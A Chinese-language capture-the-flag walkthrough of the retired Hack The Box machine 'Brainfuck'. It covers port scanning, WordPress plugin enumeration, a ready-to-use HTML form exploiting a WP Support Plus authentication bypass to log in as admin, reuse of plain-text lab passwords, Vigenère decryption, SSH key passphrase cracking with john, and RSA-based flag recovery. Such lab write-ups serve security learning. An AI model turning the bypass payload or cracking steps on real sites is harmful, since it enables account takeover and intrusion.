Brainfuck靶机渗透实践-rsa算法和维吉尼亚解密

hackthebox是一个在线的渗透平台,通过渗透获取邀请码,即可在这个平台上注册一个账号。

该平台的在线靶机一共20台,每周会下线一台靶机,如果靶机下线了呢,分数就会全部清空。而成功渗透靶机就能获取一定的分数,分数够了就能提升等级。

在线的靶机都是没有writeup的,所以你的等级很大程度可以证明你的渗透实战能力。

该平台一共7个用户等级,刚注册是等级Noob:

  1. Noob 无知者
  2. script kiddle 脚本小子
  3. hacker 黑客
  4. Pro hacker 专业黑客
  5. Elite Hacker 精英黑客
  6. Guru 大师
  7. Omniscient (最高等级)无所不知者

靶机的分数为20-50分

  1. 20分-easy 简单
  2. 30分-medium 中等难度
  3. 40分-hard 困难的
  4. 50分-Insane 疯狂的

下面介绍关于过期的机器Brainfuck的渗透过程,难度等级为hard。

扫描

用脚本扫描,好处是不用每次输入很多命令。运行以下脚本,输入IP:10.10.10.17,即可扫描udp和tcp的65535个端口,以及端口的版本。

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

read -p "which ip? " ip
masscan -p1-65535,U:1-65535 ${ip} --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports

what=$(awk 'NR<=1 {print $6}' ports)
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports ${what} -oA ${ip}
nmap -Pn -sU -sV -sC -p$ports ${what} -oA ${ip}-udp.xml

nikto -h http://${ip} > nikto-${ip}.txt

以下是扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Discovered open port 25/tcp on 10.10.10.17                                     
Discovered open port 443/tcp on 10.10.10.17
Discovered open port 22/tcp on 10.10.10.17
Discovered open port 143/tcp on 10.10.10.17
Discovered open port 110/tcp on 10.10.10.17

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)

25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

110/tcp open pop3 Dovecot pop3d

|_pop3-capabilities: TOP UIDL CAPA RESP-CODES SASL(PLAIN) USER PIPELINING AUTH-RESP-CODE

143/tcp open imap Dovecot imapd

|_imap-capabilities: IDLE IMAP4rev1 LITERAL+ more listed have capabilities LOGIN-REFERRALS ENABLE ID OK post-login Pre-login SASL-IR AUTH=PLAINA0001

443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!

| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR

| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

smtp(简单邮件传输协议)枚举存在用户

smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 10.10.10.17

web分析

访问地址https://10.10.10.17

1
2
Welcome to nginx!
If you see this page, the nginx web server is successfully installed and working

nmap、nikto,都显示了域名:commonName=brainfuck.htb

同样也可以用sslyze查询域名。

1
2
sslyze --regular 10.10.10.17 > /root/Desktop/10.10.10.17/domain
cat /root/Desktop/10.10.10.17/domain | grep "Name"

修改/etc/hosts
echo 10.10.10.17 brainfuck.htb sup3rs3cr3t.brainfuck.htb www.brainfuck.htb>> /etc/hosts

分析三个域名的网页

访问:https://brainfuck.htb/,https://www.brainfuck.htb,https://sup3rs3cr3t.brainfuck.htb

wordpress扫描器——wpscan
1
2
3
4
5
wpscan --url https://brainfuck.htb/ --disable-tls-checks

WordPress version 4.7.3

WP Support Plus Responsive Ticket System <= 8.0.7 - Remote Code Execution (RCE)

该扫描器发现了4个插件漏洞。主要是“WP Support Plus Responsive Ticket System”

searchsploit

searchsploit WP Support Plus Responsive

1
2
3
searchsploit -m exploits/php/webapps/34589.txt
searchsploit -m exploits/php/webapps/41006.txt
searchsploit -m exploits/php/webapps/40939.txt

经过测试,找到了可用exp

wordpress插件“WP Support Plus Responsive Ticket System 7.1.3”提权漏洞。https://www.exploit-db.com/exploits/41006

你可以无需知道密码以任何用户名登陆,因为使用函数wp_set_auth_cookie()的方式不正确。

漏洞利用

将以下表单,保存为exp.html

1
2
3
4
5
6
7
8
9
10
11
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">

Username: <input type="text" name="username" value="admin">

<input type="hidden" name="email" value="sth">

<input type="hidden" name="action" value="loginGuestFacebook">

<input type="submit" value="Login">

</form>

用python开启本地服务器

点击exp.html,跳转到一个表单,点击Login

稍等一会儿,然后访问wordpress的管理页面https://brainfuck.htb/wp-admin,发现我们进行漏洞利用成功了。

获得web后台权限

登陆wordpress表单后,网站后台获得一个口令。
orestis | kHGuERB29DNiNE

获得了一个口令,然后我们用这个口令登入143端口,这是IMAP服务。Internet Message Access Protocol(互联网邮件访问协议)

简便起见,我们使用图形化界面的邮件客户端。

配置IMAP客户端

1
2
username: orestis
password: kIEnnfEKJ#9UmdO

得到了一个论坛的口令,在论坛https://sup3rs3cr3t.brainfuck.htb/以该口令登陆,然后看到了一些编码后的信息。

搜索Vigenere加密(维吉尼亚密码),在在线网站http://www.dcode.fr/vigenere-cipher进行解密

维吉尼亚密码

在一个凯撒密码中,字母表中的每一字母都会作一定的偏移,例如偏移量为3时,A就转换为了D、B转换为了E……而维吉尼亚密码则是由一些偏移量不同的恺撒密码组成。

为了生成密码,需要使用表格法。这一表格包括了26行字母表,每一行都由前一行向左偏移一位得到。具体使用哪一行字母表进行编译是基于密钥进行的,在过程中会不断地变换。

破译维吉尼亚密码的关键在于它的密钥是循环重复的。如果我们知道了密钥的长度,那密文就可以被看作是交织在一起的凯撒密码,而其中每一个都可以单独破解。使用卡西斯基试验和弗里德曼试验来得到密钥的长度。

将图中的字符串解密,得到了一个http地址,下载文件后,发现是ssh密钥。
https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

1
2
chmod 400 id_rsa
ssh -i id_rsa orestis@10.10.10.17

尝试连接,发现需要密码。于是我们用john爆破密码。

http://grayhat.shoutwiki.com/wiki/SSH_tricks,这篇blog提到的方法,可以破解id_rsa的密钥。

1
2
3
4
5
wget https://raw.githubusercontent.com/stricture/hashstack-server-plugin-jtr/master/scrapers/sshng2john.py

python sshng2john.py id_rsa > id_rsa.encrypted

john id_rsa.encrypted --wordlist=/usr/share/wordlists/rockyou.txt

获得user权限

接下来准备提取root权限,我们看到目录下,有一个c代码,将/root/root.txt(这个是我们想要获取的flag)进行编码,生成了debug.txt

在这里,我们需要知道一点RSA算法。 https://zh.wikipedia.org/wiki/RSA

跟我复习一下RSA算法的原理。
P、Q是随意选择的两个质数(越大越安全)
e是随意选择的一个整数,e与m(m与p和q相关)互为质数。
n是pq的乘积。

公布的数是n和e,其他的数字作为私钥不公布。
注意,这里总共提到了四个数PQNE,PQ是随意选择的质数,

m与PQ相关,e与m相关,n是PQ之积

也就是说只有三个数是规定的,pqe

而在代码中,将pqe这三个数写入了debug.txt

1
2
3
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

于是我们来查看一下debug.txt

写一段python代码,将output.txt “Encrypted Password:”这一段密码解密,通过参数pqe(debug.txt给出)以及rsa算法解密,即可得到flag。